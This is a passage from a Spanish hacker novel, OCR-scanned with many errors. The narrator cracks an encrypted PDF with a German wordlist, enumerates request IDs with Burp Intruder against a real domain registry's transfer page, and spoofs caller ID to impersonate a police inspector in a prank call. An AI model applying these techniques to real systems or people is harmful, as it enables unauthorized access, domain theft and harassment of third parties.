Owner es utilizado para restringir permisos sobre el documento y User si el contenido
esta cifrado.

Habia conseguido algo mas de informacion, el archivo estaba cifrado con RC4-128 bits, asi
que busqué alguna herramienta que permitiese hacer ataques de fuerza bruta, o 1o que es lo
mismo, automatizar la prueba y error.

Me hice con una demo de la aplicacién Advanced PDF Password Recovery® y un diccionario®
de palabras a probar. Con un poco de suerte, el creador del documento habria introducido €l
nombre de su gato o algo similar y encontraria la contrasefia répidamente.

Como diccionario decidi utilizar el que se cred tras el incidente de seguridad de la web
Rockyou.com, a la que le robaron las contrasefias de sus 32 millones de usuarios, las cuales,
una vez ordenadas y filtradas, se redujeron a 14 millones distintas.

Pocos minutos después me llevé la primera desilusion. El propietario del documento habia
sido mds creativo que aquellos pobres usuarios. Necesitaba alternativas.

Solo me quedaba una opcién: podia configurar la herramienta para que barriese una a
una todas las posibles combinaciones de letras de 5 6 6 caracteres. Pero, claro, si afiadia
ntumeros, mayusculas y simbolos, seguramente tardaria dias en encontrar la contrasefia.
Antes de intentarlo, decidi hacer una aproximacion mas exacta con un pequefio célculo.

Si de la “a” hasta la “z” hay 24 caracteres, otros 24 de A-Z maytsculas, 10 caracteres mas |
del 0 al 9y 33 simbolos distintos, el juego de caracteres suma un total de 95 (24+24+10+33), |
elevado a una longitud de contrasefia de 5. Existen un total de 7.737.809.375 contrasefias -

= S PINEY R

posibles, a una velocidad de 55.000 contrasefias por segundo, tardaria 1 dfa y 15 horas en
probar. Ademas, esto no me aseguraria el éxito, ya que si la contrasefia era mds larga no la
encontraria. El mismo célculo para una longitud de 6 caracteres tardaria 156 dias. jInviable!

31 - File "C:\tmp}Yolanda\Operationen.pdf" opened.
20:21:31 - Handler: Acrobat Standard {Standard) 128-bit security v.4.
1| 20:21:33 - Starting dictionary attack...

Img 17: Heamicnta dva.uce PDF Password Recove buscando ia contrasena del PDF.

Sentia que le estaba fallando a Yolanda mientras calculaba posibilidades y tiempos en
Excel. Habia éonfiado en mi y no iba a ser capaz de darle la respuesta que buscaba.

Dejé al equipo intentdndolo mientras me ponia el pijama. Tal vez aquel dia se alineasen los
astros y por casualidad encontrase la aguja en el pajar. De repente, al meter una pierna en el
pantalén, recordé que los metadatos del documento estaban sin cifrar y no les habia hecho
demasiado caso. Volvi corriendo al PC y abri una vez mas el PDF con un editor de texto.

El segundo objeto en formato XMP’ (Extensible Metadata Platform) contenfa la
informacion. Alli encontré la fecha de creacion, 2012-04-15, modificacién, 22-05-31, el
nombre de la aplicacién que usaron para crear el documento, PScript5.dll version 5.2.2, y
el nombre del autor: Alexander Eichelberger. | Vaya nombre!, pensé. Parecia el de un oficial
de las SS. Inmediatamente me di cuenta. El nombre del documento, “Operationen”, no era
espafiol. Una simple biisqueda en Google confirmé mis sospechas. “Operationen” significa
operaciones en alemén. El autor parecia ser de esa nacionalidad y yo no habia probado
palabras germanas, o por lo menos, no una lista de palabras alemanas todo lo compleja que
podria ser.

T_em’a varias opciones, como descargarme unos cuantos libros alemanes y generar un
dl{:cmnamo a partir de ellos, buscar alguno hecho o lo que finalmente hice: descargarme la
Wikipedia® en alem4n y crear uno.
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.../ SR S S S R SR KK LA
endobj
2 0 obj

| <</Filter[/Crypt]/Length 3585/ subtype/XML/ Type/Metadate>>strean
f <?xpacket begin="i»;" id="WSMOMpCehiHzreSzNTczkcSd 7>
<x:xmpmete xmlns:x="adobe:ns:ueta/" x:xmptk="adobe ¥XMP Core 5.2-
<001 63,139439, 2010/09/27-13:37:26 >
<rdf:RDF amlns:rdf="http://www.w3,org/1999/02/22- rdf-syntax-
ns#">
<rdf:Description rdf:about=""
xmlns:de="http://purl.org/de/elements/1.1/">
<dc: format>application/pdf</dec: format>
<dc:creator>
<rdf:geg>
<rdf:li>Alexander Eichelberger</rdf:li>
</rdf:Seq>
</de:crestor>
<de:title>
<rdf:alt>
<rdf:1i sml:leng="x-default">Operationen.xlsx
<frdf:li>
</rdf:Alt>
</dc:title>
<f/rdf:Description>
<rdf:Description rdf:about=""
xmlns:xanp="http://ns. adobe.com/xap/1.0/">
<xmp:CreeteDate>2012-04-15T712:01:12+02:00
</xmp:CrsateDate>
<xmp:CreatorTool>PScript5.dll Version 5.2.2
</xmp:CreatorTool>
<xmp:ModifyDate>2012-05-31T13:51:28+02:00 H
i </xmp:ModifyDate>
</rdf:Description>

Img 18: Metadatos del PDF vistos desde WordPad.

Puseabajarelarchivo wikipedia-de-html. tar. 7z de3Gbque,unavezdescomprimido,
procesaria con un script para convertir las pAginas HTML en listas de palabras.

Mientras se descargaba el fichero, aproveché para consultar el timeline de mi Twitter. Lei
unos cincuenta tuits de la gente que seguia sin prestarles demasiada atencion. Habia tres de
@RoMaVincit, mi compafiero Roberto Mérquez, dirigidos a mi:

“@ariostark estamos en “La Copa Dorada”. Espero que tu novia merezca la pena. Acaban
de entrar tres tias buenas”; “@ariostark como no contestas supongo que si merece la pena.
Cabron con suerte. Jaime es un traidor”; y el tltimo, algo desconcertante: “; Sabes de algtin
sicario barato para liquidar a Jaime?”.

Cuando cerré el Twitter, el archivo de la Wikipedia practicamente se habia descargado.
jDios bendiga el cable de ONO! Me puse con el script mientras finalizaba la Gltima parte.
Era sencillo, tan solo tenia que eliminar las etiquetas HTML y dejar una lista de palabras
unicas.

#!/usr/bin/perl j
use HTML::Strip;
use strict;
my $hs = HTML::Strip->new();
Shs->set_decode _entities(l);
my $word;
my Sbuff;
my $buffcount;
while (<STDIN>) ({
if( S$buffcount < 5000 ) {
Sbuff .= $_;
Sbuffcount++;
} else {
my Sct=$hs->parse( S$buff );
my @w = split /[\s,\.”"1+/, S$ct;;
Shs->eof;
map { S$word->{lc($_)} = ' } Gw;
Spbuff = ' ;
$buffcount = 0;

}i
if( S$buffcount ) {
my $ct=$hs->parse( $buff );
my @w = split /[\s,\.”"1+/, Sct;
Shs->eof;
map { $word->{lc($_)} = ‘' } @u;
}
print join{* “\n”, keys %{$word}), “\n”;

Elemento 2: Script en perl para eliminar etiquetas HTML de la Wikipedia.

Luego descomprimi el archivo. Los miseros 3Gbs se convirtieron en 44Gbs Fie informacién
a procesar. Con la utilidad £ind, busqué todos los articulos y ejecuté el script sobre ellos.

ract@bt: /tmp/wiki

[arios@serenity wikil]$ wget http://dumps .wikimedia.org/other/si&
tatic html dumps/current/de/wikipedia-de-html.tar.7z
[ario§@ser3nity wikil$ 7za x wikipedia-de-html.tar.7z
[arios@serenity wiki]$ tar -xvf wikipedia-de-html.tar
[arios@serenity wikil$ cd de

[arios@serenity de]$ find . -iname "*.html" -exec cat {} \; |
perl strip.pl > diccionario-de.txt

Img 19: Descarga de la wikipedia, descompresion y creacién de diccionario en aleman.

EENE
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Volvi a abrir la aplicacion, esta vez cargando el nuevo y recién creado diccionario alemén.

Cruce los dedos. Pulsé el icono para empezar y, en apenas un segundo, aparecid la

contrasefia: “reichhaltigem”. jVictoria!

Password successfully recovered!

i

%é*‘in X

Img 20: Ventana de Advanced PDF Password Recovery con la contrasefia enconirada.

Si, victoria. Lo habia conseguido después de solo cuatro horas. El dulce sabor del éxito fue
menos gratificante que saber que finalmente no decepcionaria a Yolanda. Me sentf como
el caballero andante de los cuentos medievales que acude a salvar a su bella dama, como
aquel héroe de fantasia que tras sortear graves peligros finalmente encuentra a la princesa
y la rescata, uniendo en ese momento su destino al de ella. Si, me senti como, como...
(Shrek? Sacudi la cabeza ante esa imagen, pero después sonrei confiado. Al fin y al cabo,
Shrek y Fiona acaban juntos, ;no?

Fra tarde hasta para uno de mis viernes. Estaba tan agotado que ni siquiera la curiosidad
por lo que contenia el archivo fue capaz de retenerme ante el monitor. Pensé que a Yolanda
le gustaria saber que lo habfa conseguido a tiempo, pero también que estaria durmiendo a
horas tan intempestivas. Como no queria despertarla, le envié un whats. “Misién cumplida.
Tengo tu rollo secreto”, adjuntando una imagen del simpético ogro que encontré en IMDB.
Me parecié muy apropiado, aunque ella no lo entenderia. En esta ocasion solo un aspa
verde acompafié mi mensaje. Seguramente su moévil estuviera apagado y no lo leeria hasta
la mafiana.

Me estiré en la silla reclinable, sin reprimir un prolongado bostezo, antes de levantarme
para irme a la cama. Estaba derrotado después de tantas y encontradas emociones. La
perspectiva de un suefio reparador me llevé en volandas hasta el dormitorio. Cuando por fin
cai sobre la almohada, los digitos luminosos de mi despertador me reprendieron por haber
trasnochado tanto. La avanzada hora a que me acosté y las lagrimas de Yolanda fueron mis
ultimos recuerdos de aquel dia.
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Desperté tras una noche de suefios agitados con las primeras luces del alba. Habia dormido
apenas tres o cuatro horas, que no habian sido suficientes para sacudirme el cansancio que
arrastraba. Traté de volver a cerrar los ojos pero, tras entablar un encarnizado combate
contra las sdbanas, finalmente estas me vencieron y me expulsaron del dormitorio. Lo
abandoné con la vergiienza de la derrota, esperando que el iPad y una taza de café me
devolvieran la confianza.

La cafetera Nespresso habia sido uno de los pocos caprichos que adquiri fuera de la seccion
de informatica del centro comercial. El cremoso liquido llend la taza hasta el nivel correcto,
invadiendo la cocina con su aroma. Llevé la taza al salon, recogi la tableta que descansaba
sobre la mesa y sali con ambas al balcon.

Estaba dispuesto a afrontar el dia sin prestar atencién al desorden gemeralizado que
reinaba en mi hogar. Me recosté en la butaca que componia el iinico mobiliario del balcén,
colocando la taza sobre uno de sus brazos.

Me encantaba leer las feeds de las webs que seguia por la maiiana, sentado en mi butaca y
disfrutando de una buena taza de café, cuando el sol clareaba pero no invadia el cielo, y el
aire aun era fresco y agradable en los pulmones. Me ayudaba a encarar el dia armado con
informacion, mientras la ciudad despertaba de su letargo y cobraba vida.

Lei unas cuantas noticias de informacién general, asi como unos pocos articulos de
“expertos” que opinaban sobre la delicada situacién econémica mundial. La cosa pintaba
mal, decian, pero habia esperanza en el horizonte si todos haciamos los sacrificios
necesarios. Ese era el resumen general.

Harto de leer estupideces, pasé a las RSS de mis sitios favoritos’: netsec de reddit, hispasec,
seguridad apple, security art work, 48bits, dragonjar... La lista era casi infinita. Me llevo
més tiempo del deseado. Cuando terminé de leer, el {iltimo sorbo estaba tibio y me dejé
una desagradable sensacion en la boca. En el balcén, la luz se hacia mds intensa a medida
que el sol emergia por encima de los edificios, transformando pronto la agradable brisa
matinal en un bochorno insoportable. La ciudad ya habia despertado e invadia con ruidos
desagradables mi tranquilidad.

Cerré el iPad y me refugié en el interior. El silencio y el frescor del salén vinieron a poner
algo de paz a mi mundo, convulso tras la velada con Yolanda. Para distraerme mientras
€speraba a que llamase, me fui directo al despacho. Abri el correo y me dediqué a hacer
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pruebas con la pagina de confirmacion de transferencia que me parecid sospechosa en el
VIPS.

La URL contenia dos parametros, codUsuario y CodPeticion, cada uno de ellos con un
valor numérico y formando un enlace del tipo:

hitp://www.nic.ar/pagina.html? codUsuario=XXXX&CodPeticion=YYYY.

En cuanto vi los numeros, la tentacion me pudo y resté 1 al nimero de la variable
CodPeticion. En ese momento, se mostré una peticion igual a la mia con la unica diferencia
de que el nombre del dominio habia cambiado.

acepto @

Img 21: Confirmacién de traspaso de dominio, para otro dominio de pruebas.

No podia creerlo. Seguramente, era uno de los fallos més clasicos en seguridad web. Cuando
vi este comportamiento, decidi hacer mas pruebas y solicité una nueva transferencia de otro
de mis dominios para intentar aceptarla usando un enlace que yo mismo generase, tan solo
sumando 1 al CodPeticion hasta llegar a ver la peticion del dominio de pruebas. Todo esto,
por supuesto, sin leer el correo electrénico con la URL correcta de confirmacion.

Si este era su funcionamiento, podria solicitar la transferencia de cualquier dominio
argentino, es decir, los que tienen de TLD (Top Domain Level) “.ar”; y, tan solo con unas
decenas de peticiones web, recorrer €l nimero de solicitud para encontrar el enlace valido
y llevarmelo a otra parte, convirtiéndome en su nuevo duefio.

Las direcciones que probé iban siguiendo un orden secuencial:
1. http://www.nic.ar/pagina.html?codUsuario=12312& CodPeticion=3641601
2. htip:/fwww.nic.ar/pagina.html? codUsuario=12312& CodPeticion=3641602
3. http:/fwww.nic.ar/pagina.html?codUsuario=12312&CodPeticion=3641 603
4

Al solicitar la transferencia, al propietario real del dominio le llegaria un correo electrénico
aviséndole de que un proceso de transferencia de dominio se habia puesto en marcha y
necesitaba confirmacion, tal y como me llegé a mi. Pero el incauto propietario pensaria:
“;Qué mas da? Si alguien trata de hacer una transferencia y no tiene acceso a mi correo, no
deberia preocuparme”.

Para localizar el enlace valido utilicé el proxy Burp!’, que entre sus funcionalidades se
encuentra Int ruder, una herramienta que permite especificar un “payload” e ir aplicandole
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logica para que haga peticiones web automaticas y muestre los resultados. Esto me ahorraria
andar modificando manualmente el valor y hacer la prueba rapidamente.

En este caso, el payload era el valor de la variable cédigo de peticién (CodPeticion), por
lo que lo indiqué en la pestafia de “positions” del Intruder, usando los caracteres especiales

1 payioad posiion lengin: 355
GET
/agnd/peticion/acepearTranaterencialominioIni. action?
codPecicions £codUavarice=12312 HITP/L.l

Host: wwvw.nic.ar

Uaec-Agent: Mozilla/5.0 (Vindows NT 6.L1l: JOV&4:
£v¥:13.0) Gecko/2D10010L Fairefox/13.0

Accept:

teéxt/html,application/xhtml+xnl, applicacion/xml;g=0.%
¢ =/*;q=0.8

Accepe-Language: en-ua,en;q=0.5

Accept-Encoding: gzip, deflace

Img 22: Configuracion de la posicion de Intruder en la herramienta Burp Proxy.

Una vez espécificado dénde manipular los datos, en la pestafia payloads indiqué que
tan solo tenia que recorrer unas decenas de nimeros para alcanzar la pagina correcta, en
concreto, desde el 3641600 al 3641670.

Img 23: Configuracion del payload en Intruder de Burp Proxy.
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Ya solo faltaba iniciar el ataque, asi que pulsé sobre la barra superior de Intruder “start
attack” y las peticiones comenzaron a sucederse una tras otra.

4y intruder attack 3

| Filter; showing all items

TestlisS| target | positions | oavioads | options | i
reguest | payioad status | emorfimeo.] length | . comment
1] 200 L 186 lhaseline request |«
1 3641600 200 (] | 01 liss
e 3641601 200 Bl | B [iss
3 3641602 200 O [ Jiss =
3 3641603 200 El [ &l hss 1
5 3641604 200 L] S &
7 16416086 200 L] k] |85
8 3641607 200 L] L] hss
g 3641608 200 Ld | EJ les
10 3641809 200 Bl | & Hes
i1 3641610 200 L] L] les

12 3641611 200 - Ll has
FE. - LTS R LS00 2

11 A —

request |i 1

headers [ hex [ him|
<meta content='IE=EmulatelIE?"' -

http-egquiv='¥-Ta-Compatible'/>

<meta content='width=1100' name='wviewpartc'/>

<meta content='text/html; charset=UTF-8'
bttp-equiv='Contenct-Type'/>

<script type="text/javascript”>(function() { var
b=window,e="jstiming" ,f="tick" ;(function() {functisn

5 o [

320171

-

| _Qmaiches

Img 24: Resultados del Intruder de Burp Proxy.

Supe que tuve éxito cuando la ventana mostré una peticién donde la columna de tamafio
indicaba un niimero distinto. Apunté en una hoja el ntimero 3641605, al que correspondia
la peticién, y compuse la URL.

Cuando la abri en el navegador y pulsé sobre el icono de Aceptar, un mensaje en chillonas
letras rojas sobre fondo amarillo me advertia que no estaba autorizado para realizar aquella
operacion.

=% ) Aceptar transferencia de.dominio

Para tramitar la solicitud debe acceder a través del enlace enviado a su direccidn de correo)

Img 25: Error de acceso denegado al hacer la transferencia de dominio.
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jMaldita sea! Entonces la aplicacién web también comprobaba que la otra variable, el
c6digo de usuario (codUsuario), correspondia y estaba asociado al nimero de peticién. Esto
complicaria las cosas, ya que habria cerca de dos millones de usuarios en la web y tardaria
demasiado en recorrer todas esas peticiones, a lo que habria que sumar el tiempo necesario
para aceptarlas a fin de completar la transferencia. Necesitaba una forma de averiguar el
codigo de usuario de un dominio para tener ambos datos y explotar la vulnerabilidad.

Queria seguir buscando y asegurarme de la presencia del fallo. En caso de encontrarlo, los
responsables estarfan de suerte porque mi intencidn era reportarlo y ayudarles a encontrar
una solucién. Si alguien con menos escripulos lo hubiese descubierto antes, podria haber
complicado las cosas, incluso hasta el punto de paralizar gran parte del pais. De la cantidad
de escenarios que asaltaban mi cabeza, el mas recurrente se parecia al de la pelicula
“La Jungla 4.0”. No me veia en el papel de Bruce Willis, pero si estaba convencido de
encontrarme ante uno de los hallazgos mas destacados del afio.

Minimicé las ventanas y en la pantalla aparecid el fondo de escritorio plagado de iconos.
Ya no tenia nada que hacer salvo esperar la llamada de Yolanda.

La inactividad me hizo recordar la tarde anterior. Fue todo muy extrafio, pero dos cosas
estaban claras: ella estaba preocupada por su hermano y su interés por mi se limitaba a mis
capacidades informaticas.

Mi teléfono mévil se encontraba sobre la mesa del ordenador. Comprobé el Whatsapp.

Ella atn no habia leido el mensaje. Eso me extrafid, ya que Yolanda habia insistido en la

urgencia del asunto. Era 16gico esperar que aguardara con impaciencia el resultado de mi

trabajo. Queria que le devolviese cuanto antes el archivo descifrado, pero ni siquiera habia

comprobado su mévil. De todas formas, no le di importancia. Todavia era pronto. Acabaria
& - ; . -

por llamar. N en vano, la interesada era ella. A mi me daba igual. Fin del asunto.

Pero ;a quién queria engafiar? El despecho sufrido no habia impedido que saltara de la cama
pensando en ella. Durante todos estos afios, a pesar de las muchas tentativas frustradas que
acabaron llevandome a la resignacion, en lo més recondito de mi alma siempre albergué el
anhelo de conquistarla. A veces, me sorprendia mirando nuestras antiguas fotografias con la
esperanza de un futuro en que posariamos juntos de nuevo y ya nada volveria a separarnos.
Al volver a verla después de tanto tiempo, los sentimientos enterrados irrumpieron con
mayor fuerza que nunca.

No me gustaba la causa que nos habia reunido, pero en el fondo agradecia cualquier pretexto
que me permitiera verla de nuevo. Al observar su foto en el moévil, adopté la resolucion de
cerrar aquel capitulo de mi vida de una vez por todas. Aprovecharia la ocasion para arreglar
las cosas. Me disculparia por mi comportamiento y mis reproches. La ayudaria en cuanto
pudiera para liberarla de esa angustia que la atenazaba. Pero también le abriria mi corazon.
Le confesaria mi amor pasado y renacido mil veces, ese dia méas fuerte que nunca. Y, si
después de todo, seguia sin querer saber nada de mi, al menos me irfa con la sensacién de
haberlo intentado. No seria menos doloroso, pero si un poco més valiente.
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Me encontraba sumido en esas profundas reflexiones, haciendo tamborilear los dedos sobre
la mesa, cuando adverti que la memoria USB seguia conectada al puerto. Tras un momento
de duda, abri el documento PDF e introduje la contrasefia descubierta la noche anterior,
asegurandome de introducir los caracteres en el orden correcto. Enseguida apareci6 su
contenido:

& Operationen.pdf - Fopit Reader
|[ork Ea e o camah e e SHid
-1 g;{.;ﬁgg&._ e i
:‘;ﬂ Destino Cantidad Fecha
= |NGmberg 87.000,00 € 21/05/2012
= [kéin 5.400,00 € 10/05/2012
| [Minchen 2.200,00 € 09/05/2012
3| [Manchen 400,00 € 03/05/2012
__ | INomberg 65.000,00 € 01/05/2012
= |Disseldorf 5.100,00 € 28/04/2012
a | |Miinchen 9.050,00 € 28/04/2012
" | [Numberg 10.300,00 € 26/04/2012
12 [K8ln 4.300,00 € 12/04/2012
| Disseldorf 3.020,00 € 10/04/2012
| [Dasseldorf 2.100,00 € 05/04/2012
| |Miinchen 1.200,00 € 04/04/2012
| [Nomberg 90.000,00 € 01/04/2012]

Img 26. Contemdo del documeuto PDF descifrado.

No me decia nada. Parecia una especie de contabilidad, con tablas que relacionaban
nombres y cifras.

No estaba muy seguro de haber traicionado la confianza de Yolanda al consultar el contenido - '

del archivo. Aunque no me lo habia prohibido expresamente, a tenor de su secretismo,
intuia que no le haria ninguna gracia. Si tal era el caso, habia pagado un alto precio por una
recompensa tan pobre.

Me quedé mirando el documento sin acabar de encontrarle sentido. ;Por qué habia estado
tan misteriosa con respecto a ese archivo? ;Por qué estaba cifrado? ;Quién era el aleman?

(Tan importante era como para no poder hablar de ello conmigo? ;Cudl era su interés
en todo aquel asunto? ;Qué significaban todas aquellas filas y columnas de nombres y
numeros? Todas esas preguntas me asaltaban, pero al final se reducian a una sola: “;En qué

lio te has metido, Yolanda?”.

La melodia de la serie “Juego de Tronos” me sobresaltd como el estallido de una bomba.

-

Tenia una llamada.
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Me abalancé sobre el movil sin mirar siquiera el identificador.

-;S1? —dije, con un tono de voz que denotaba mayor urgencia y melosidad de lo que me
habria gustado.

-iRios! —exclamo Roberto al otro lado. Esperaba escuchar la suave voz de Yolanda; la
de Roberto lo era tanto como un derechazo a la mandibula.

- Qué quieres?
-;Qué te pasa, hombre? ;Anoche no acabé bien?
-Eso no te importa. Si llamas para preguntar chorradas, te cuelgo.

-Asi que la periquita vol6 sin que se dejara desplumar. No te agobies, tio. Eso nos ha
pasado a todos alguna vez. Mirame a mi. No seria la primera vez que una pava me da
calabazas.

-No me extrafia, dada tu recurrente tendencia a confundir a las mujeres con aves.

Estallé en una sonora carcajada que me llegé a través del altavoz. Lo aparté de la oreja
hasta que termind de refr, forzado por mi silencio.

-Muy buego, Rios. Esa me la apunto.
-Por tltima vez, jpara qué has llamado?

-Para intercambiar informacién, que es el principal objetivo de toda comunicacién
humana. Yo te cuento mis aventuras noctumas con Jaime y Mario a cambio de lo que ti
ya me has contado sobre tu cita.

-iYo no te he dicho nada!

-Como si lo hubieras hecho. En primer lugar me has cogido el teléfono —explicé-io que
habria sido imposible de tener las manos ocupadas, no sé si me entiendes.

-No, Roberto, no te entiendo. Eres demasiado sutil.

- Sarcasmo? —pregunto— Es igual. También esta tu actitud. ;Qué te pasa conmigo, tio?
Yo no soy el enemigo. El verdadero enemigo se te ha escapado cuando fuese que la
cagases anoche. Los hombres tenemos que estar unidos en nuestra eterna y aciaga lucha
contra los malignos ejércitos de féminas que tratan de imponernos su demencial vision
del mundo. No podemos enfrentarnos entre nosotros. Eso es lo que ¢llas quieren.

-Ya estoy hasta las narices de gilipolleces. Voy a colgar.
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-jEspera, tio! No te pongas asi. Yo solo queria animarte como buen colega tuyo que soy.
-Pues no esta resultando, Roberto, no esta resultando.

-Vaya, lo siento. Pero seguro que te animas si te cuento la tiltima de Jaime, ya verds —se
tomé un momento, como para tomar impulso antes de soltarlo-. Resulta que estamos los
tres en nuestro sitio, ya sabes, al fondo de la barra, muy elegantes con nuestros trajes del
trabajo, viendo qué hay en el garito. Vamos por la cuarta ronda de cervezas, lo que para
Mario significa estar a un paso de tocar el cielo, justo antes de la caida, cuando entran
tres pibas apretadisimas pidiendo a gritos un penetration test. A mi me salen las cuentas,
y los ojos de las orbitas. Le digo a Jaime que me quedo con la rubia de ojos claros, y él
que de eso nada, que él la vio primero. Mario dice que hay que entrar a las otras dos,
que son mas asequibles y asi aislar a la rubia, que lo ha visto en una pelicula o algo asi.
Yo le digo que eso son gilipolleces, pero Jaime parece considerarlo. Al final decidimos
atacar y actuar segin el progreso de cada cual.

>>L as chicas se sientan en una mesa del fondo, sin parar de mirarnos, o eso me parece
a mi. El caso es que el asunto promete, me digo. Trazamos el plan de batalla en una
servilleta, con Jaime de avanzadilla, por eso de que tiene buena labia, aunque yo pienso
que el cabrén acabaré levantdndome a la rubia. Luego veo a su amiga la morena, que
tampoco estd nada mal, y se me quitan las dudas. Antes de partir, Jaime me pide que
vayamos a la mesa cuando €l esté sentado para despedirnos, como si hubiésemos decidido
imos a otro sitio, para que €l insista en que nos quedemos y asi poder acoplarnos con las
chicas. Yo me mosqueo un poco, pero la confianza de Jaime termina por convencerme.
Mario apura su jarra y le desea suerte. Asi que le damos luz verde.

-Oye, Roberto —interrumpi-, jeste cuento tiene un final?

-Un momento, que ahora viene lo mejor. Veras: el hecho es que Jaime se acerca a la
mesa y lo vemos hablar con las chicas. El hace un gesto con la cabeza hacia nosotros y
ellas nos miran, sonrien y le invitan a sentarse. Nosotros estamos a lo nuestro, esperando
el momento adecuado de salir a escena, mostrando nuestra mejor pose y todo eso. En
la mesa, la cosa parece ir sobre ruedas, con las chicas observandonos y riendo cada vez
que Jaime le da al pico. Mario y yo seguimos bebiendo hasta que se nos queda cara de
idiotas de tanto esperar. Como no hemos establecido ninguna sefia y Jaime no parece
dammnos la alternativa, al final decidimos que ha llegado nuestro momento.

Nos acercamos al objetivo, deseando que Jaime nos haya preparado el terreno lo

suficiente para ser bien recibidos a la mesa y empezar a pensar en el siguiente paso.
Mi confianza en el plan crece segin nos aproximamos, porque veo sonrisas y gestos .

de simpatia en las chicas. Saludo con la cabeza e interpreto mi papel, confiado en que

Jaime actuaré segtin el suyo. “Bueno, colega”, le digo, posando una mano en su hombro

y dirigiendo mi mejor sonrisa a la rubia. “Creo que nos vamos. Hoy esto esta un poco |
muerto”. Afiado esto para hacerme el interesante y hacer ver que conozco otros locales
mucho mas guays. “Muy bien, chicos”, contesta. “Que lo paséis bien”. ;Y nos guifia un
ojo! jHijoputa!
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Mario y yo nos quedamos con cara de circunstancia delante de las pibas, a las que de
pronto les parecemos muy divertidos, pues no paran de cuchichear y lanzarse risitas las
unas a las otras. Por nuestra parte, no podemos quedarnos después de pregonar que nos
marchédbamos. Mario me interroga con los 0jos, su cabeza y sus hombros empiezan a
sufrir espasmos incontrolados. La situaciéon es embarazosa de cojones, pero no hacer
nada solo la empeora. Asi que tomo las riendas y agarro a Mario por la cintura para salir
de alli cagando leches, tras dirigir unas precipitadas palabras de despedida a las chicas
y la mirada mas asesina de que fui capaz al traidor. Al traspasar la puerta de salida, me
vuelvo y lo tltimo que veo antes de cerrarse es a las chicas riendo ya sin freno, y al
muy cabrdn con su cara de “qué se le va a hacer, asi es la vida”, juntando las manos por
debajo de la mesa en peticién de perdon.

-¢Y qué se supone que significa toda esta historia? No veo...

-;BEs que no lo adivinas? —pregunto, indignado-. Nos la jugé bien jugada. Me lo
conté cuando le llamé esta mafiana clamando venganza. En vez de suplicar piedad, j¢l
malnacido se descojonaba! Me confes6 que, a fin de aumentar sus posibilidades con la
rubia, decidié prescindir de nuestra competencia. Para ello se invento la historia de que
Mario y yo queriamos liarnos. ;Te lo puedes creer? Como no habia mesas libres, les
pregunt6 a las chicas si podia sentarse mientras nos daba algo de intimidad. Cuando le
comunicamos que nos marchdbamos delante de las chicas, no hicimos sino confirmar
esa patrafia. Y que arrastrara a Mario de la cintura hacia la salida no ayudé a desmentirla.
Ademas, ese traidor consigui6 el teléfono de la rubia. Hasta me mand6 una foto por
whatsapp en la que sostiene una servilleta con el nimero apuntado, para restregarmelo
por la cara. Pero no me gano en buena lid, no sefior. Emple6 malas artes. Tenemos que
resarcirnog, tio. Esto no puede quedar asi...

-Mira, Roberto —le corté, con la oreja ardiendo tras escucharle durante lo que me parecid
una eternidad-, no quiero parecer descortés y agradezco que compartas conmigo tu
apasionante experiencia, pero ;qué tengo que ver yo con todo eso?

-Tienes que ayudarme a devolvérsela a Jaime. Esta noche podemos. ..
-jOye! —exclamé repentinamente-. Reenviame esa foto, [quieres?

-;En qué est4s pensando, tio? Seguro que se te ha ocurrido algo. (A que si? [JQué' tienes
en mente? Venga, dimelo. Quiero que sufra por lo que ha hecho. Quiero que suplique...

-T4 solo mandame la foto. Ya te contaré.
-Pero necesito saber...
-iHuy! Tengo una llamada entrante —menti-. Te cuelgo.

Lo hice con un suspiro de alivio y arrojé el mévil contra el sillén de leer. Esperaba la
llamada de Yolanda de un momento a otro. Las tribulaciones nocturnas de mis compafieros
eran insignificantes en comparacion. No obstante, la maniobra de Jaime me habia picado
un poco. No hacia mucho yo habia sido victima de otra de sus tacticas de ligue, y desde
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entonces se la tenfa guardada. Aunque estaba demasiado preocupado por el asunto del
documento, mientras mi amiga se decidia a dar sefiales de vida resolvi llevar a cabo el plan
que habia madurado.

En ese momento, me entr6 un mensaje. Decepcionado, vi que era de Roberto, quien no |

perdia el tiempo y me remitia la foto. Cuando descargué la imagen, la pantalla se llené con
la cara sonriente de Jaime. El gesto era triunfal y jocoso a un mismo tiempo. Estaba claro
que el muy capullo se habia fotografiado a si mismo, pues se le veia parte de un brazo
estirado hacia un punto por detras del objetivo mientras, con la mano contraria, exhibia una
servilleta de papel en la que figuraban, escritos a boligrafo, el nombre Miri con corazoncitos
sobre las fes, seguido de un niimero de nueve digitos.

La camara del movil de Jaime era bastante decente. Tanto que, al ampliar el recuadro de
la servilleta, el nimero de teléfono se amplié perfectamente, haciéndose completamente
legible: 6575221699. Con esa informacion y un poco de mala leche, me puse manos a la
obra.

Recordaba haber gastado muchas cofias usando servicios de VoIP, los cuales permiten
cambiar el origen de la llamada o CLI (Calling Line Identification), haciéndome pasar por

otra persona. Estos servicios incluso modifican la voz en tiempo real para que parezcas un

desconocido ante el receptor.

Busqué términos como “spoof calling line identification”, “fake callerid” y similares en
Google, hasta que llegué al proveedor que habia usado en otras ocasiones; aunque, a decir |
verdad, cualquiera me habria servido.

m nut:ll:m’! FEATURES MOBILEARPS MIEDIA WELP

i

¢, Place Your Call {Ji'SMS

Destinaton Numter #3 4 | = - 6575221699 |
1 o —
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Cailer ID to Display

+34911235182
Suve UL MERTE 1) YOUT PICIM 1
Sitwis SpociCalad st Uie e

Recent Calls
FUACE YOUR CAtl
{V5arE Bs prsnchid & phens seambins b died 4 dhe (el pend

Img 27: Configuracién de servicio SpoofCard para simular una llamada de mujer.
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{
| Me registré pagando los cinco dolares que hacian falta para crear una nueva cuenta y luego
me limité a rellenar los campos necesarios: teléfono al que lamar, teléfono que se mostraria
el cambio de voz. Como siempre habia querido tener voz de soprano, y no me refiero a

| Tames Gandolfini, seleccioné “Female”.

De aqui a “Place your call”, que me mostr6 el nimero nacional al que debia llamar y que
| automaticamente harfa la llamada por mi.

(. Place Your Cali g sMs.

£, Gmoup Speof

Almost dona! To connact your call, dialt
+34911235181

| IKPROMPTED, ENTER THis ACCESSCODE: §491

= MAKE A NEW GALL

Img 28: Teléfono de SpoofCard para realizar la llamada falsa.

Soné cinco veces antes de que una joven contestara con voz agradable, aunque notablemente
asustada. El efecto de mostrar el 091 en su pantalla parecia funcionar.

-Buenos dias —saludé, adoptando un tono de autoridad profesional-. ;Estoy hablando
con Miriam?

| -Si, soy yo —respondid, extrafiada y temerosa a la vez-. ;Quién es?
-Bien, Miriam. Soy la inspectora Ruano, de la unidad de delitos sexuales de la policia.
-;Qué? (Delitos sexuales? ;La poli?

